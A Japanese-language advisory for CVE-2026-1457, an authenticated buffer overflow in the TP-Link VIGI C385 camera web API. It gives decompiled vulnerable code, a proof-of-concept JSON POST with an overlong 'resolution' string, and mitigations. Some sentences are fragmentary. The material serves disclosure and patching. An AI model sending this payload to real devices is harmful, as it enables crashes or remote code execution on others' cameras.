
CVE-2026-1457の詳細な分析と概念実証を提供します。これはTP-Link VIGI C385 Web APIにおける認証済みバッファオーバーフローであり、リモートコード実行につながります。
CVE-2026-1457 は、TP-Link VIGI C385 V1 の Web API における認証済みバッファオーバーフローの脆弱性です。この脆弱性により、認証済みの攻撃者がリモートコード実行(RCE)を行うことが可能になります。
CVSS v4.0 スコア: 8.5(高)
CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
| 製品モデル | 影響を受けるバージョン |
|---|---|
| VIGI C385 V1 | < 3.1.1 Build 251124 Rel.50371n |
set_resolution_18AAD8 関数は、strcpy を使用してユーザー入力を長さ検証なしでバッファにコピーするため、バッファオーバーフローが発生します。
int __fastcall set_resolution_18AAD8(int a1, char a2)
{
const char *string_origin; // r5
const char *v4; // r4
int result; // r0
char v6[72]; // [sp+0h] [bp-A0h] BYREF
char v7[88]; // [sp+48h] [bp-58h] BYREF
memset(v6, 0, sizeof(v6));
memset(v7, 0, 72);
string_origin = jso_obj_get_string_origin(a2, (char)"secname");
v4 = jso_obj_get_string_origin(a2, (char)"resolution");
sub_1FE6BC((int)"/video/main", (int)v6, 0x48u);
sub_1FE6BC((int)"/video/minor", (int)v7, 0x44u);
if ( !strcmp(string_origin, "main") )
{
result = strcmp(v4, &v6[29]);
if ( result ) // true if v4 is greater than &v6[29]
{
sub_1FE6BC((int)"/video/main", (int)v6, 0x48u);
strcpy(&v6[29], v4); // ⚠️ buffer overflow
sub_1FE804("/video/main", v6, 72);
return 0;
}
}
else if ( !strcmp(string_origin, "minor") )
{
result = strcmp(v4, &v7[29]);
if ( result )
{
sub_1FE6BC((int)"/video/minor", (int)v7, 0x48u);
strcpy(&v7[29], v4); // ⚠️ buffer overflow
sub_1FE804("/video/minor", v7, 72);
return 0;
}
}
else
{
msg_debug(3, "http_do_setResolution", 3137, "[HTTPD]set resolution param error.\n");
return -40209;
}
return result;
}
v6 バッファは 72 バイトとして宣言されていますが、strcpy は &v6[29] の位置で実行されます。v7 バッファは 88 バイトとして宣言されていますが、strcpy は &v7[29] の位置で実行されます。v4)は strcpy を使用する前に長さが検証されないため、バッファオーバーフローが発生します。v6)と 59 バイト(v7)のみですが、より長い文字列をコピーすることができます。stok トークンが必要)攻撃者は /ds エンドポイントの set_resolution 機能を悪用して、悪意のあるペイロードを送信することができます。
POST /stok=9p73~f9L0fGs33wt3D3XDc)7u)!wt83f/ds HTTP/1.1
Host: 192.168.0.100
Content-Length: 3015
Content-Type: application/json; charset=UTF-8
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Origin: https://192.168.0.100
Connection: close
{
"video": {
"set_resolution": {
"secname": "main",
"resolution": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
}
},
"method": "do"
}
この文書には実行可能なエクスプロイトコードは含まれていません。 以下のスクリーンショットは、リバースシェル接続を成功させたエクスプロイトの成功例を示しています:

ファームウェアの更新: 影響を受けるデバイスをバージョン 3.1.1 Build 251124 Rel.50371n 以降に更新してください。
ネットワークの分離: 可能であれば、VIGI C385 デバイスを分離されたネットワークセグメントに配置してください。
アクセス制御: 管理インターフェースへのアクセスを信頼できるネットワークのみに制限してください。
監視: 異常なネットワークトラフィックやデバイスの挙動を監視してください。
この脆弱性は、以下の者によって発見・分析されました:
NSHC RedAlert Labs 所属